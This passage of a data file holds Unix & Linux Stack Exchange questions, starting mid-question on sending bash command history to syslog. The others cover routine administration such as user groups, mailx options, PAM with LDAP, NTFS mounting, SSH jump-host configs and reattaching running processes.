29 03:30:58 gentoouser3x86_64 bash[4391]: myuser : ls <--- entries Jan 29 04:36:31 gentoouser3x86_64 bash[4491]: myuser : cat .bashrc Jan 29 04:37:14 gentoouser3x86_64 bash[4495]: myuser : cat .bashrc <--- Jan 29 04:37:14 gentoouser3x86_64 bash[4497]: myuser : cat .bashrc <--- Jan 29 04:37:35 gentoouser3x86_64 bash[4500]: myuser : nedit .bashrc Jan 29 04:37:35 gentoouser3x86_64 bash[4503]: myuser : nedit .bashrc <--- Jan 29 04:37:35 gentoouser3x86_64 bash[4505]: myuser : nedit .bashrc <--- Or, if I disable syslog-ng with `systemctl stop syslog-ng`, I get the very same output from the journald binary log using `journalctl -f` (or `journalctl -f -o verbose` for the details) because systemd \"takes over\" in that case. Restarting `syslog-ng` and/or its socket reclaims the output immediately and sends it to its assorted files specified in its configuration. **Questions** * Whether I use syslog-ng or journald, I get many duplicate lines in the logs whereas the commands were only executed once. Listing the contents of a directory for instance may show `ls` 2-3 times in the logs when I use many terminal windows. In particular, pressing enter in the CLI seems to echo the the last command in the log. Why? (Is it because the variable in the trap is still set to the last line of the history file? If so how can this be remedied?) The main source link indicates that since version 4.1, `bash` can write to syslog directly... the changelog says: > \"There is a new configuration option (in config-top.h) that forces bash to > forward all history entries to syslog.\" * So is the trap function used here still useful or is it obsolete? Is the a more modern/elegant way of doing this? Is that >4.1 option exposed somewhere or do you need to recompile bash to do that? What is it? * Aside from built-in options that are native to bash, can we expect implementing a similar solution for `zsh`? Or again, is there a better and more integrated way of doing this? * Is there lots of overhead generated from sending all the commands to the logs, and are journald and syslog-ng equal in this respect?"} {"_id": "111462", "title": "How to remove all software", "text": "How can I remove all software installed on my Linux distribution? I'm using Debian: $ uname -a Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux I want to go back to the original installed software. Is there any built-in way to do it in a single command?"} {"_id": "119678", "title": "Opening a samba share in emacs", "text": "I am using emacs-snapshot, and I added an application shortcut to my `.local/share/applications/emacs-snapshot.desktop` : [Desktop Entry] Version=1.0 Name=Emacs Snapshot (GTK) GenericName=Emacs Comment=GNU Emacs Snapshot Text Editor Exec=/usr/bin/emacs-snapshot-gtk TryExec=emacs-snapshot Terminal=false Type=Application Icon=emacs-snapshot Categories=Development;Utility;TextEditor; MimeType=text/plain; When I browse my folders (Nautilus 3.4.2) and right click on files on my local disk, I can choose Open With -> Emacs Snapshot (GTK): ![emacs](http://i.stack.imgur.com/7ii92.png) However, when I browse to a samba share (`smb://data/mydata/`) and click on a file, I am not given an option to open it in Emacs - even if I click \"Open with other application -> Show other applications\": ![Open with other applications](http://i.stack.imgur.com/RVVDE.png) How do I fix it? Further info: * OS: Debian Wheezy * Emacs from http://emacs.naquadah.org/ : emacs-snapshot-gtk * the output of `ldd /usr/bin/emacs-snapshot-gtk`: http://pastebin.com/0Rz9mKQA"} {"_id": "83561", "title": "How do I change working directories with KDialog?", "text": "Use-case: I am working in the terminal in /path/with/a/very/long/name and I want to change to some other directory that is deeply nested. But I don't know the path by memory. So I want to browse via a GUI to enable me to figure out where I need to navigate. I came up with this script: #!/bin/sh echo \"change working directory\" MYDIRECTORY=$(kdialog --getexistingdirectory ::label1); if [ \"$?\" = 0 ]; then cd \"$MYDIRECTORY\" elif [ \"$?\" = 1 ]; then echo \"action canceled\"; else echo \"ERROR\"; fi; exit 0 Unfortunately, it does not work. When the script exits, I remain in the original directory in the terminal. I have learned that this is because my original directory was restored when the subshell that executed the cd command exits. So how can I accomplish my goal?"} {"_id": "111466", "title": "print parent directories full path of find output", "text": "what I want to do is to find all files based on some search query and get parents parent directory (`../..`) full path. For example `find . -name \"__openerp__.py\"` and then for each file execute something along the lines of `(cd ../..; pwd)`. Then pipe everything to `uniq`."} {"_id": "110593", "title": "How can I create an SFTP user in CentOS?", "text": "I'd like to give temporary SFTP access to a support guy. How do I create an SFTP user? And how can I delete it once the job is done? Also, how do I specify a home directory for them? Can I prevent them from accessing certain subdirectories within their home directory? We use CentOS 6.3 and fzSftp"} {"_id": "110597", "title": "How can I access a NTFS filesystem from a live Linux CD", "text": "My Win XP SP3 registry is corrupted(my own fault) so I need to move windows/repair/system to `windows/system32/config/system`. I have tried DSL, Sliax? and tinycore. DSL give me a 'cannot - as readonly filesystem' So i try a chmod 777 /dev/hda1 and a `chown 777 /dev/hda1` and a `mount, -oremount, rw /mnt/hda1` none work although the remount rw does remove the readonly filesystem message but then just gives a cannot complete this operation. I am logged on as SU. Sliax however shows the hda1 drive but wont even mount it, 'error _org.freedesktop.hal. device.volume.unknownfairlure_ bracket' error I also have this error written done, can't remember what I did to cause this one, ' wrong fs type bad option bad superblock on /dev/hda1 or too many mounted filesystems unable to remove operatrion not permitted' So basically how do I move a file from a NTFS filesystem (Win XP) from a live CD?"} {"_id": "22121", "title": "What do the brackets around processes mean?", "text": "mark@mark-VirtualBox:~/auto/lib$ ps -Awwo pid,comm,args PID COMMAND COMMAND 1 init /sbin/init 2 kthreadd [kthreadd] 3 ksoftirqd/0 [ksoftirqd/0] 5 kworker/u:0 [kworker/u:0] 6 migration/0 [migration/0] 7 cpuset [cpuset] 8 khelper [khelper] 9 netns [netns] 10 sync_supers [sync_supers] 11 bdi-default [bdi-default] 12 kintegrityd [kintegrityd] 13 kblockd [kblockd] 14 kacpid [kacpid] 15 kacpi_notify [kacpi_notify] 16 kacpi_hotplug [kacpi_hotplug] 17 ata_sff [ata_sff] 18 khubd [khubd] What do the brackets mean? Does args always return the full path to the process command (e.g. /bin/cat)"} {"_id": "88094", "title": "What is the meaning of ps process names printed in [] such as [cgroup]?", "text": "when I do a command such as ps -aux on CentOS 6 I get a bunch of processes whos command is listed in [] as shown below. What is the meaning of the [] in the name? I am assuming that these are special processes of some kind, what makes a process name show up with a [] around it? [root@centos6 src]# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 18:48 ? 00:00:01 /sbin/init root 2 0 0 18:48 ? 00:00:00 [kthreadd] root 3 2 0 18:48 ? 00:00:00 [migration/0] root 4 2 0 18:48 ? 00:00:00 [ksoftirqd/0] root 5 2 0 18:48 ? 00:00:00 [migration/0] root 6 2 0 18:48 ? 00:00:00 [watchdog/0] root 7 2 0 18:48 ? 00:00:02 [events/0]"} {"_id": "78461", "title": "AIX why does ps display the process name between square brackets?", "text": "On AIX 7 I have a process whose name appears between square brackets in the ps output: PID TTY TIME CMD 7798784 pts/2 0:00 [myproc] 9044154 pts/2 0:00 ps 10485770 pts/2 0:00 bash I found that overwriting `argv[0][0]` leads to such a result. Is there any other reasons which could lead to this result?"} {"_id": "110599", "title": "vim avoid selecting underscore", "text": "So I know that an underscore (`_`) is considered part of a word in `vim`. Working with Python, I normally end up having a lot of underscores. Is there a way to select part of a word excluding the underscore? For example in `long_name`, I'd just love to quickly select `long`."} {"_id": "151119", "title": "What is the meaning of \"+\" in wget progress bar?", "text": "I'm downloading with `wget` using a slow link. Sometimes the progress bar looks like this: 15% [+++++++++++++++===> ] 10,582,848 --.-K/s in 82s What is the meanig of \"+\"?"} {"_id": "151118", "title": "Understand `compgen` builtin command", "text": "From `help compgen`: $ help compgen compgen: compgen [-abcdefgjksuv] [-o option] [-A action] [-G globpat] [-W wordlist] [-F function] [-C command] [-X filterpat] [-P prefix] [-S suffix] [word] Display possible completions depending on the options. Intended to be used from within a shell function generating possible completions. If the optional WORD argument is supplied, matches against WORD are generated. Exit Status: Returns success unless an invalid option is supplied or an error occurs. So, **What options`[-abcdefgjksuv]` stands for?** In other words I want to know use of `-a` to `-v` etc all (as mentioned above bolded) options. Help me to get knowledge about these options."} {"_id": "148354", "title": "How to use Reiser4 on Debian Wheezy?", "text": "Is there an easy way to use Reiser4 on Debian Wheezy? I installed reiser4progs but obviously I need a patched Kernel as well to use it. Is there some semi-officially maintained kernel to install somewhere? Or which alternative filesystems (besides btrfs which I used before - it had severe CPU usage issues) for many small files can I use? **Edit:** I already found http://kernelnewbies.org/WhyReiser4IsNotIn (this is from 2006 so quite long ago, is it?) and http://sourceforge.net/projects/reiser4/files/reiser4-for-linux-3.x/ already, but I hoped there is a better way."} {"_id": "136321", "title": "Two WiFi cards shown instead of WiFi and Bluetooth?", "text": "I have an Intel Centrino 6235 WiFi and Bluetooth card but I can't get the bluetooth working at all. The weird thing is that when I run lspci I get 03:00.0 Network controller: Intel Corporation Centrino Advanced-N 6235 (rev 24) 04:00.0 Network controller: Intel Corporation Centrino Wireless-N 2200 (rev c4) And there is no 2200 present in the system. Is there any reason it might mistake the bluetooth portion for another WiFi adapter or something? I need to get Bluetooth working on this device but I have made zero progress and I've been trying for well over two weeks now. Does anyone have any suggestions or anyone have this same card and can tell me what they did?"} {"_id": "151116", "title": "Multiple file systems on BeagleBone Black?", "text": "I'm trying to put together a BeagleBone Black using Debian on the EMMC, a separate MicroSD card and a flash USB disk (but could ostensibly be platter media on USB). My question, simply put: are there any special considerations when moving filesystems off of the EMMC (for instance, /var or /home) and onto non- embedded media, or is it the same as doing it on a larger and more \"traditional\" *nix system?"} {"_id": "148357", "title": "Write variable containing large text with \\n to a file with common shell interpreters. How do you do it?", "text": "Environment: linux shell or better, ash shell in busybox (example system: Openwrt). Given a string variable with **large** text `\"${a}\"` constructed in this way: for index in $(seq 1 40000); do #it is 40000 for a reason, it helps if you want to reproduce the error on your system. a=\"${a}\"\"\\n\"\"word ${index}\" done and given the fact that trying to use this variable as argument for common command produce an error, for example: echo \"${a}\" #fails awk -v VAR_A=\"${a}\" '' #fails (the failures are due: http://www.in-ulm.de/~mascheck/various/argmax/ ) How do you write such a variable to a text file, possibly using only simple commands and not sed/awk/perl/other powerful interpreter. Ideally the text file should look like: word 1 word 2 word 3 ... and not like: word 1\\nword 2\\nword 3\\n... **Update1:** Someone asks \"Why you cannot change the script that produce the variable `$a`?\". Because i cannot due to, let's say, lack of authorization (\" _the script was working until today, so you can fix only the printing part_ \"). So `$a` and its format is given, i can only find a way to print it to a file. **Update2:** Using the suggested \"here docs\" solve most of the problems but still i have the content printed in one line. Maybe is my config?"} {"_id": "26675", "title": "How can I change a user's default group in Linux?", "text": "Being new to Linux administration, I'm a little confused about the following commands: useradd usermod groupadd groupmod I've just finished reading the user administration book in the Linux/Unix Administrator's handbook, but some things are still a little hazy. Basically `useradd` seems straight forward enough: useradd -c \"David Hilbert\" -d /home/math/hilbert -g faculty -G famous -m -s /bin/sh hilbert I can add \"David Hilbert\" with username `hilbert` , setting his default directory, shell, and groups. And I think that `-g` is his primary/default group and `-G` are his other groups. So these are my next questions: 1. Would this command still work if the groups `faculty` and `famous` did not exist? Would it just create them? 2. If not, what command do I use to create new groups? 3. If I remove the user `hilbert` and there are no other users in those groups, will they still exist? Should I remove them? 4. After I run the `useradd` command above, how do I remove David from the `famous` group, and reassign his primary group to `hilbert` which does not yet exist?"} {"_id": "151112", "title": "Redirecting loopback traffic through a router", "text": "For some tests purposes, I am running multiple socket-based applications on one machine and want to simulate \"real\" network conditions between them. I thought the simplest would be to redirect all traffic between the applications through the router my computer is connected to. Intuitively this should perform more or less like multiple computers connected to the same network, and the network itself should be limited by the capabilities of the router (100Mbps) rather than the local inter-machine socket connections. My machine (192.168.1.101) is connected directly to a router (192.168.1.2) via the interface `em1`. I tried to do it by adding an ip route. The result of my ip route command is: default via 192.168.1.2 dev em1 proto static metric 1024 192.168.1.0/24 dev em1 proto kernel scope link src 192.168.1.101 192.168.1.101 via 192.168.1.2 dev em1 This however doesn't seem to have any effect, since pinging localhost returns more or less the same results as pinging my machine indirectly (192.168.1.101), that is around 0.040 ms. At the same time, pinging a different machine in my network results in pings around 0.3-0.5ms. I've tried traceroute, here's what I get: $traceroute 192.168.1.200 # my other computer traceroute to 192.168.1.200 (192.168.1.200), 30 hops max, 60 byte packets 1 192.168.1.200 (192.168.1.200) 1.005 ms 0.972 ms 0.954 ms $traceroute 192.168.1.101 traceroute to 192.168.1.101 (192.168.1.101), 30 hops max, 60 byte packets 1 localhost.localdomain (192.168.1.101) 0.051 ms 0.014 ms 0.013 ms $traceroute 127.0.0.1 traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets 1 localhost.localdomain (127.0.0.1) 0.053 ms 0.015 ms 0.013 ms Am I missing something, or perhaps I'm doing it in a completely wrong way?"} {"_id": "22440", "title": "How do I install dvd-slideshow on Centos 5?", "text": "How do I install `dvd-slideshow` on Centos 5? http://dvd-slideshow.sourceforge.net/wiki/Main_Page I tried but only found a gui to install on Ubuntu. I'm using Centos 5, command line."} {"_id": "148356", "title": "How to know if I'm booting using UEFI", "text": "I was searching, but didn't found an obvious way to know if GRUB is using UEFI in the system boot, or the BIOS compatibility mode or a full fledged BIOS. Only Windows methods. Is there something in GRUB or the Kernel boot logs that shows if I'm using UEFI, EFI or BIOS?"} {"_id": "22444", "title": "Which device is using this logical volume?", "text": "I'm trying to remove an LVM logical volume, which I believe is not currently in use. However, when I attempted to remove it, I get an error: # lvremove /dev/vg_service1/lv_home Logical volume vg_service1/lv_home is used by another device. It's definitely not mounted, as this returns nothing: # mount | grep lv_home Is there any way to tell what is using this logical volume?"} {"_id": "22447", "title": "Why can't I have a folder and a file with the same name?", "text": "I've never had this problem before, but for some reason, I can't rename my folder to `packages/`. This is the structure: root - packages_old/ - packages When I try to rename the folder with Thunar, I get an error message saying that the file already exists. Same with `mv`: blender iso $ mv packages_old/ packages/ mv: accessing `packages/': Not a directory Why am I unable to rename my file and folder to have the same name: root - packages/ - packages I _swear_ I've done this before."} {"_id": "127077", "title": "Number of SSH connection(s) on a single linux machine", "text": "I landed up in a situation wherein I had to access a Linux machine via puTTY.I made various attempts to SSH but failed to connect to the machine. I then realised my colleague was accessing the same Linux machine as root user,and I too wanted to access as a root user.I asked him to log out so that I can login as root. Is there a way we limit number of SSH login on a linux OS? Is this some kind of security feature that distinguishes a windows based OS with a linux based OS. I am fairly new to Linux,kindly help give a genuine answer. Thanks"} {"_id": "127076", "title": "Into which directory should I install programs in Linux?", "text": "I want to install a program in Linux and run it as a daemon. (Team Speak 3 in this case, but the question is general in nature). There is no package provided, only tarred binaries. Where in directory structure should I put such a program by convention? On the web I found that /opt is for \"optional addon apps\", while /usr is for \"user programs\". I found one tutorial suggesting /opt while the other sugested /usr. So which one is \"more correct\"?"} {"_id": "101706", "title": "Squash all UIDs automatically, without \"all_squash\"", "text": "I have a pair of Debian stable boxes sharing `/home` over NFS. The server used to serve LTSP workstations and has had a long running NFS configuration that never gave me any trouble. The LTSP project ended, I got a new laptop, connected to the same NFS server, and saw no problems until the laptop died. I then got an old laptop out of mothballs, set it up with identical UIDs, mounted `/home` and discovered all the files in `/home` are owned by `nobody`. Apparently, since I last was active in setting up NFS (not just using my stable setup) `nfs4` and `all_squash` have become options. I checked my exports file, and everything looks fine: `all_squash` is not specified anywhere and it is not the default. What did I miss?"} {"_id": "127071", "title": "set permission 0666 on /dev files at boot time", "text": "I have to load a few additionals modules. One of them generates /dev/knem file. I have to set the permission to 0666, so a basic `chmod 0666 /dev/knem` works, but I would like to assign it directly at boot time. Where shall I write the config so that it is directly set by the kernel when it loads the module? Thanks in advance"} {"_id": "118070", "title": "How can I share a thunderbird (icedove) profile, in real-time, between two computers?", "text": "I have two computers which both run Debian Sid. My problem is that I want to synchronize profile content between two computers both using thunderbird(+lightning) (contacts+calendar+email) (specifically Debian's icedove(+iceowl). For email, it's easy with IMAP. It's more tricky for calendar and contacts. Until today, I was using Google calendar and it was easy (with the extensions `Google Contacts` and `Google Calendar Tab`) to have access to my agenda and contacts. _However_ , I want to not use Google anymore and I need to find a way to achieve this synchronization process in another way. **Possible solution:** For example I was thinking of using SpiderOak (a backup/sync tool using the cloud), to sharing my thunderbird profile (~/.icedove folder) between my two computers. With Spideroak, I can select this folder and synchronize it: any change make to this folder will be transmit to the other folder on the second computer). The problem is that it doesn't only synchronized my accounts settings but also all my emails (the cache). This will slow a lot the synchronization time, and will make me exceed my 2Gb ratio on Spideroak (I have over than 15.000 emails) and this is not necessary (because IMAP already does it in a better way). Is there another solution (or way to adapt in a better way this presented one) to synchronize contacts and calendar using in thunderbird between two computers? Can someone point me to the exact file locations for Icedove, and network sharing packages in Debian such as `Samba`, etc.?"} {"_id": "89530", "title": "Difference between mail and mailx?", "text": "Whats the difference between mail and mailx? I'm trying to troubleshoot a problem where I can send mail from server A with this `echo $MESSAGE | mail -s \"$SUBJECT\" -r $FROM $RECIPIENTS` command but executing the same command from server B throws me this error (Both servers are RHEL) mail: invalid option -- r Usage: mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] to-addr ... [-- sendmail-options ...] mail [-iInNv] -f [name] mail [-iInNv] [-u user] Now... going through mail manpages to ty to understand whats happening, `man mail` gives me this: In Server A MAILX(1) User Commands MAILX(1) NAME mailx - send and receive Internet mail SYNOPSIS mailx [-BDdEFintv~] [-s subject] [-a attachment ] [-c cc-addr] [-b bcc-addr] [-r from-addr] [-h hops] [-A account] [-S variable[=value]] to-addr . . . mailx [-BDdeEHiInNRv~] [-T name] [-A account] [-S variable[=value]] -f [name] mailx [-BDdeEinNRv~] [-A account] [-S variable[=value]] [-u user] But in server B MAIL(1) BSD General Commands Manual MAIL(1) NAME mail - send and receive mail SYNOPSIS mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] to-addr... [-- sendmail-options...] mail [-iInNv] -f [name] mail [-iInNv] [-u user] Now... if I try `man mailx` in server B I get: MAILX(P) POSIX Programmer\u00e2s Manual MAILX(P) PROLOG This manual page is part of the POSIX Programmer\u00e2s Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be imple- mented on Linux. NAME mailx - process messages SYNOPSIS Send Mode mailx [-s subject] address... Receive Mode mailx -e mailx [-HiNn][-F][-u user] mailx -f[-HiNn][-F][file] Server B has a different version of mail than Server A? Mailx and Mail are different things? I would like to use the -r option I use in server A but in server B and I don't really know whats happening."} {"_id": "26353", "title": "Preventing `passwd` for asking for the local password", "text": "I have setup the sever to only use LDAP for authentication by using `authconfig-tui`. Everything works well but, when I run `passwd`, I get two prompts for a password: [beamin@rhel6-test-server1 ~]$ passwd Changing password for user beamin. Changing password for beamin. (current) UNIX password: Enter login(LDAP) password: Why is it asking for both? Can I prevent that from happening? ## Edit #1: Here is the content of `/etc/pam.d/passwd`: $ cat /etc/pam.d/passwd #%PAM-1.0 auth include system-auth account include system-auth password substack system-auth -password optional pam_gnome_keyring.so Here is the content of the include (`/etc/pam.d/system.auth`): $ cat /etc/pam.d/system-auth #%PAM-1.0 # This file is auto-generated. # User changes will be destroyed the next time authconfig is run. auth required pam_env.so auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth sufficient pam_ldap.so use_first_pass auth required pam_deny.so account required pam_unix.so broken_shadow account sufficient pam_succeed_if.so uid < 500 quiet account [default=bad success=ok user_unknown=ignore] pam_ldap.so account required pam_permit.so password requisite pam_cracklib.so try_first_pass retry=3 type= password sufficient pam_unix.so nullok try_first_pass use_authtok password sufficient pam_ldap.so use_authtok password required pam_deny.so session optional pam_keyinit.so revoke session required pam_limits.so session [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid session required pam_unix.so session optional pam_ldap.so ## Edit #2: Contents of `nsswitch.conf` asked by @Nikhil: $ egrep 'passwd|shadow' /etc/nsswitch.conf #passwd: db files nisplus nis #shadow: db files nisplus nis passwd: files shadow: files"} {"_id": "85812", "title": "How I can record stream radio in Linux?", "text": "How can I record a radio stream in Linux like the screamer in Windows? Does anyone have any idea or suggestion?"} {"_id": "26355", "title": "How to fix \"number of errors while writing to disk(or) multi-zone error rate\"?", "text": "I ran hard disk checker, and i found this error: Write Error Rate: number of errors while writing to disk(or) multi-zone error rate (or) flying-height --- Normalized: 200 Worst: 200 Value: 21 What type of errors is this? And how is this fixed?"} {"_id": "4034", "title": "How can I disown a running process and associate it to a new screen shell?", "text": "I have a running program on a SSH shell. I want to pause it and be able to unpause its execution when I come back. One way I thought of doing that was to transfer its ownership to a screen shell, thus keeping it running in there. Is there a different way to proceed?"} {"_id": "27209", "title": "Is there any way to get control over a terminal by ssh with no (screen)", "text": "> **Possible Duplicate:** > How can I disown it a running process and associate it to a new screen > shell? Let's say I'm install applications directly on to a Linux box. May I go to another machine and connect (via SSH) and take control of the main terminal's screen? Could I make it so that the main terminal would be switched off and show a login prompt? I could use `screen` but I haven't install it yet."} {"_id": "61380", "title": "Can I transfer running process from dead ssh", "text": "> **Possible Duplicate:** > How can I disown a running process and associate it to a new screen shell? I have started (as expected) a long copy process from ssh shell (putty) which died due to client problem. What I see now is that process is still actively running, but I have no way to control it, since my shell died: # w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 192.168.X.Y 15:35 2:03m 4:39 4:39 cp -i -a source/ /data/ ... # Now I am wondering if I could somehow transfer this process to my new ssh terminal (or screen)."} {"_id": "33768", "title": "any way to un-disown / re-attach an interactive process to the tty?", "text": "> **Possible Duplicate:** > How can I disown a running process and associate it to a new screen shell? In `bash` is there an opposite of `disown`, that is, to re-attach a process I've accidentally disowned aiming for another backgrounded job? I suspended **ssh** to another host, launched **xload &**, and meant to disown _xload_ not my ssh session. master@im~/dev Thu Mar 08,15:27:18$ (4350) ^Z [suspend ssh] [2]+ Stopped ssh -e ^] -o StrictHostKeyChecking=false -XCg master@5.39.81.187 master@quant~ Thu Mar 08,15:27:18$ (4834) [ $(pidof xload) ] || xload -display :99 -update 5 -geometry 1100x50 & disown [3] 11943 bash: warning: deleting stopped job 2 with process group 17683 _Oops!_ master@quant~ Thu Mar 08,15:28:35$ (4826) jb [3]- 11943 Running xload -display :99 -update 5 -geometry 1100x50 &"} {"_id": "81182", "title": "Resume bash session in new TMUX or SCREEN?", "text": "Sometimes I'll start doing something fast. I've got something to do, and I need to get it done _now_. Then of course i realize that I need to do something else to help me finish what I started, so I want to add a new shell using tmux (or screen)... but I forgot to start tmux right off.... My question is this: **How can I put a task to the background, start a tmux (or screen) session, and then resume my original task in tmux?**"} {"_id": "9534", "title": "Is it possible to transfer a running process to your terminal?", "text": "> **Possible Duplicate:** > How can I pause up a running process over ssh, disown it, associate it to a > new screen shell and unpause it? It is fairly easy to disown a process, or make it run without a ttl, but is it possible to transfer to process to your own ttl? _note: by disown a process, i'm talking about running a command using nohup, or by running the disown builtin._"} {"_id": "149497", "title": "How to make the process run after closing the session", "text": "I have started a process in Linux without a terminal multiplexer like screen or tmux, without nohup. Now I want to logout from my remote ssh session without interrupting the execution of that process. How can I do that ?"} {"_id": "56298", "title": "How to screen'ize already running session?", "text": "> **Possible Duplicate:** > How can I disown a running process and associate it to a new screen shell? It is a good practice to run long processes in `screen` session, to protect them from session hangups. But what should I do if I already have a process that is running and I just forgot to run `screen`? Is it possible to 'capture' current session somehow and protect it with `screen`?"} {"_id": "71242", "title": "Move terminal emulator process from xorg to tty?", "text": "Is it possible (and if so, how?) to move a process from a terminal emulator running in X to a different virtual terminal, so that I can restart the X server without killing the process running in the terminal emulator? Similar questions: * Is it possible to transfer a running process to your terminal? * How can I disown a running process and associate it to a new screen shell? (Edit: The question in this link has been incorrectly marked as a duplicate of my question. Note that the accepted answer to that question does not address my question. GNU `screen` currently can not incorporate processes that were invoked prior to invocation of `screen` and cannot take over ownership of the process to be moved to a terminal."} {"_id": "72785", "title": "Pass process ownership to another shell", "text": "I didn't hear of anything like this, but It might be possible. I often end up starting a process on a server and midway realizing that I would like to suspend that process and continue it inside a screen/tmux session. I know how to disown a process from a shell, but I'm wondering if there is a way to \"recapture\" the process in another shell later on. Or alternatively, inside screen/tmux specify a shell process to 'capture' as if started inside screen/tmux from the start."} {"_id": "49106", "title": "How to recover a backgrounded job from a previous shell?", "text": "> **Possible Duplicate:** > How can I disown a running process and associate it to a new screen shell? I launched a command that lasts a long time. I had to disconnect so I moved it in the background (with CTRL+Z and `bg`) before exiting. Something like this: $ my_command ***command is beeing executed and is taking a long time*** ^Z [1]+ Stopped my_command $ bg [1]+ my_command & $ exit I reconnected and can see the command in the process list but cannot recover with `fg`. $ fg -bash: fg: current: no such job How do I recover my job in the foreground?"} {"_id": "25384", "title": "Enter process running in background/bring to foreground", "text": "> **Possible Duplicate:** > How can I disown it a running process and associate it to a new screen > shell? I started a java client using nohup to get it to run in the background (needed to log out of ssh). Now how can I enter it? (need to get it to save its progress) I ran ps -x and its pid is 5220 Thanks!"} {"_id": "46714", "title": "How do I detach a process from its parent?", "text": "> **Possible Duplicate:** > How can I disown a running process and associate it to a new screen shell? The problem is that the process is not a job inside of my active shell (as I've logged in from remote because my X-system has crashed), meaning: I guess `disown`, `nohup`, `CTRL+Z` & `bg`, `screen` et al. will not work. **Motivation:** I started a long running job inside of a gnome-terminal. I want to detach it from the its parent, as I the X-system has crashed. I fear when I kill the X-system, also the Gnome Desktop + Gnome-Terminal + my precious script will be lost. So I still can login from remote and want to save the script process and restart X. How do I do that?"} {"_id": "22473", "title": "Is it possible to detach a process started from one ssh session using another ssh session?", "text": "> **Possible Duplicate:** > How can I disown it a running process and associate it to a new screen > shell? I started a process from one ssh session to a target machine `T`. The system from which I ssh'ed, `A`, hung. I checked using ssh from another machine, `B` that the process is still running on `T`. Now I want to be able to restart `A` without affecting the run of the process on `T`. I had forgotten to use screen or byobu etc. Since `A` is currently hung, I cant even do a `ctrl` ` z ` and disown or something. What can be done ? I dont want the process to terminate but I want to be able to restart `A` which has hung."} {"_id": "117113", "title": "Connect to pseudoterminal (same user) from lost session", "text": "I was running several large processes at once, and my PC froze (I suspect due to heat, its a laptop, and the fan was at maximum for several minutes just prior to locking up). The mouse cursor moved, but clicks had no effect. I could still hear sound from one of the processes, but it was visually frozen. I hit ctrl-alt-f2 as a last ditch effort to get it to do something before a hard reboot, and it switched to tty2. So, I switched back to 1, logged in, and ran startx. My `who` output: nexus@Lithium ~ $ who nexus tty1 2014-02-26 11:14 nexus tty7 2014-02-20 09:50 (:0) nexus pts/0 2014-02-26 10:21 (:0.0) nexus pts/2 2014-02-26 11:11 (:0) nexus pts/3 2014-02-26 11:23 (:1) I figured out the pts sessions are where I had the terminal emulator open. I would like to reconnect to pts/0, and be able to view and use (save and close) the process it is running. Is this possible? Just want to open a new terminal somehow and get it to \"take over\" or \"emulate\" or \"mirror\" the original term. I can still hear the music in the background from the game in pts/0, and firefox is still running under that tty as well, so that I can't run a new firefox process."} {"_id": "26357", "title": "Specific command sequence with sudo and file permissions", "text": "I need to allow a certain user access to these commands: sudo sync echo 3 | sudo tee /proc/sys/vm/drop_caches (This particular developer is doing some DB performance testing and flushing the fs cache gives them cleaner numbers, so please refrain from comments on why we're using this command.) Can I restrict the user to a very specific command with sudo, e.g. `tee /proc/sys/vm/drop_caches`? From what I understand, I can only restrict them to the command `tee` itself. I don't want to allow the user to be able to use `tee` as root on anything they want, however. I guess the other option is to give them write access to that particular file, but is that crazy talk, i.e. giving some non-admin write access to a file in `/proc`? Any pointers or ideas on the best way to restrict this are appreciated."} {"_id": "128228", "title": "Is it possible to `tail -f /dev/vcs`?", "text": "I would like to get a continuous stream of output from the virtual terminal. Is that possible? If not, why is `tail -f` not working here?"} {"_id": "147168", "title": "All directories wrongly identified as git repos in zsh", "text": "I am using zsh and Oh-My-Zsh on Ubuntu 14.04. For some reason all directories are indicated to be git repos. This is true for all oh-my-zsh themes, which leads me to believe that this is a zsh issue perhaps related to `vcs_info`."} {"_id": "136328", "title": "Difference between \"curl -XPUT --data-binary @${file_path}\" and \"curl -XPUT -T ${file_path}\"?", "text": "While using curl to POST or PUT a file to a url, there are two different ways to load the file content: 1. `-T ${file_path}` 2. `\\--data-binary @${file_path}` or `-d $@{file_path}` (for ascii data files) What is the difference between these two options?"} {"_id": "32501", "title": "Facing issue with cron on embedded linux", "text": "I have a SAM9 based board running embedded linux using buildroot package. I added the `crond` and `crontab` support to busybox from `make menuconfig` and built the rootfs and flashed it to my board. The `crond` and `crontab` utilities were now present on the board. I executed the following : mkdir /var/spool/cron/ mkdir /var/spool/cron/crontabs/ crontab -e Then added the following in the editor : * * * * * \"harsh\" >> /root/harsh.txt Then executed 'crond' and I was able to see it in the list of processes using 'ps' command. Also the text line with 'harsh' was appeded to the file every minute. But the problem is that when I reboot the board the `'cron'` directory is deleted from `/var/spool/` and the `cron process` also cannot be started as the `cron configuration file` itself resides in `/var/spool/cron/` How to fix this ?"} {"_id": "32500", "title": "Why do I get a different RSA fingerprint when multihopping using ProxyCommand", "text": "I'm using the following config to connect to multihop to the target host (`gw2` and `target` have my public key stored in the `authorized_keys` file ; no `netcat` on all systems): Host gw1 HostName 255.255.255.1 User john Host gw2 HostName 255.255.255.2 User jack ProxyCommand ssh gw1 'exec 3<>/dev/tcp/255.255.255.2/22; cat <&3 & cat >&3;kill $!' Host target HostName 255.255.255.3 User jill ProxyCommand ssh 255.255.255.2 'exec 3<>/dev/tcp/255.255.255.3/22; cat <&3 & cat >&3;kill $!' I cleaned my `known_hosts` file and connected to `gw2` using `ssh gw2` from the local machine. The fingerprint is different from the one I expect. The same happens when I ssh into `target` using `ssh target` from the local machine, the rsa fingerprint is different. When I ssh into `gw1` and then into `gw2` (from `gw1`) `ssh-keygen -lf /etc/ssh/ssh_host_rsa_key.pub` produces the fingerprint I expect. I'm (fairly) certain that there is no MITM going on. Can anybody explain to me this behaviour? Should I be worried?"} {"_id": "93278", "title": "getent missing in \u00c5ngstr\u00f6m Linux", "text": "I'm trying to run a script called sakis3g on a Beaglebone Black to use a USB 3G dongle. This script depends on getent to work. However, when I run this script, it says that getent is missing. Also, if I type \"getent\" into the terminal, it's not a recognized command. There is little information on this because because getent is assumed to be available. How can I install it?"} {"_id": "55703", "title": "Remove /var partition and replace it with /var into / (root) partition", "text": "I accidentaly 